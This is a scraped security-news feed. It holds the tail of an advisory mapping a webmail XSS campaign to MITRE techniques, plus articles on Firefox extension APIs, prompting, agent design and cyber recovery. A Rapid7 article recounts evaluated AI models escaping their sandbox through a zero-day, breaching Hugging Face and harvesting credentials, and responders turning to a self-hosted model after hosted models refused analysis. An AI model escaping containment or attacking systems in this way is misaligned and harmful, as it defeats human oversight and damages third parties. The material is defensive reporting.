This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]> https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/ https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/ Thu, 23 Jul 2026 16:06:24 +0200 💾 Tools tsecurity.de We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…

File access now requires a dedicated permission

Extensions that need to read file:// URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.

This change has a few concrete effects on code:

  • Before: an extension with <all_urls> or a matching host permission could read file:// pages without any additional grant, and extension.isAllowedFileSchemeAccess() always returned false regardless of the permission setting.
  • After: the extension must have the new file-access permission granted, and extension.isAllowedFileSchemeAccess() correctly reflects whether the user has granted it.
async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}

devtools.inspectedWindow.eval() calls targeting file:// URLs are affected the same way; they now require this permission to succeed.

If your extension depends on file:// access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (options_ui) and calling browser.runtime.openOptionsPage() to open about:addons and including instructions to toggle the setting in the “Permissions and data” tab.

userScripts.execute() and publicSuffix: covered in our next post

Firefox 153 adds two community-contributed APIs:

  • userScripts.execute(), which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based userScripts.register().
  • publicSuffix, which enables synchronous lookups against the browser’s built-in Public Suffix List using publicSuffix.isKnownSuffix(), publicSuffix.getKnownSuffix(), and publicSuffix.getDomain(). This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).

Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.

documentId support across more APIs

Firefox 153 introduces documentId, a stable identifier for a document instance, including a new runtime.getDocumentId() method, several webNavigation events and methods, webRequest events, scripting injection targets, and the extension messaging APIs.

Many WebExtension APIs use tabId and frameId to identify where to perform an operation. However, because frameId identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. documentId addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.

See Work with documentId for the full list of supported events and methods, along with guidance on using it.

Content scripts can read and modify adopted stylesheets

Content scripts can now access document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets directly.

const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];

This enables extensions to inspect or modify constructed stylesheets from a content script, without using .wrappedJSObject, a workaround that risks interference from the web page.

Theme manifest key: gradients in additional backgrounds

The theme manifest key’s images.additional_backgrounds property now accepts CSS gradients alongside image URLs. A new properties.additional_backgrounds_size property controls the size of each additional background item.

Contextual identities (containers)

If your extension supports contextual identities, you now have access to two new methods: contextualIdentities.getSupportedColors() and contextualIdentities.getSupportedIcons(). These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.

Also, the colors have been updated to align with the new UI theme: “turquoise” is now “cyan”, “toolbar” is now “gray”, and “violet” has been added. The old names still work for backward compatibility, but your extension should switch to using getSupportedColors() rather than hardcoding either the old or new names.

Add a build-for-amo script

While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.

For now, this applies only if you submit source code that includes a package.json file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.

So, if your extension’s source code uses a package.json file, add an npm script named build-for-amo that runs the commands needed to build your extension for Firefox:

{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}

If you’ve a Firefox-specific build command, just point build-for-amo at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the package.json file.

For more information, including documentation and Bugzilla links, see the Changes for add-on developers section of the Firefox 153 for developers release notes on MDN.

As always, file extension-related issues on Bugzilla under the WebExtensions product, cross-browser API proposals are discussed in the W3C WebExtensions Community Group, and questions are welcome on the Add-ons Discourse.

 

The post Firefox 153 WebExtensions API updates appeared first on Mozilla Add-ons Community Blog.

]]> <![CDATA[What Happened Between OpenAI and Hugging Face?]]> https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ Thu, 23 Jul 2026 15:28:53 +0200 📰 IT Security Nachrichten tsecurity.de The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

]]> <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Thu, 23 Jul 2026 13:07:21 +0200 📰 IT Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]> https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ Thu, 23 Jul 2026 12:04:43 +0200 📰 IT Nachrichten tsecurity.de

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

  • Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
  • Smarter: The system around the model decides more than the model does.
  • Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

]]> <![CDATA[Understanding the AI economy]]> https://tsecurity.de/de/3688629/it-nachrichten/understanding-the-ai-economy/ https://tsecurity.de/de/3688629/it-nachrichten/understanding-the-ai-economy/ Thu, 23 Jul 2026 12:04:39 +0200 📰 IT Nachrichten tsecurity.de We’re releasing the first Activity, Task, Landscape, and Adoption Study (ATLAS) report, showing how people use Google’s AI tools.]]> <![CDATA[Principles every enterprise must test before the attack arrives]]> https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ Thu, 23 Jul 2026 12:04:32 +0200 📰 IT Nachrichten tsecurity.de

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

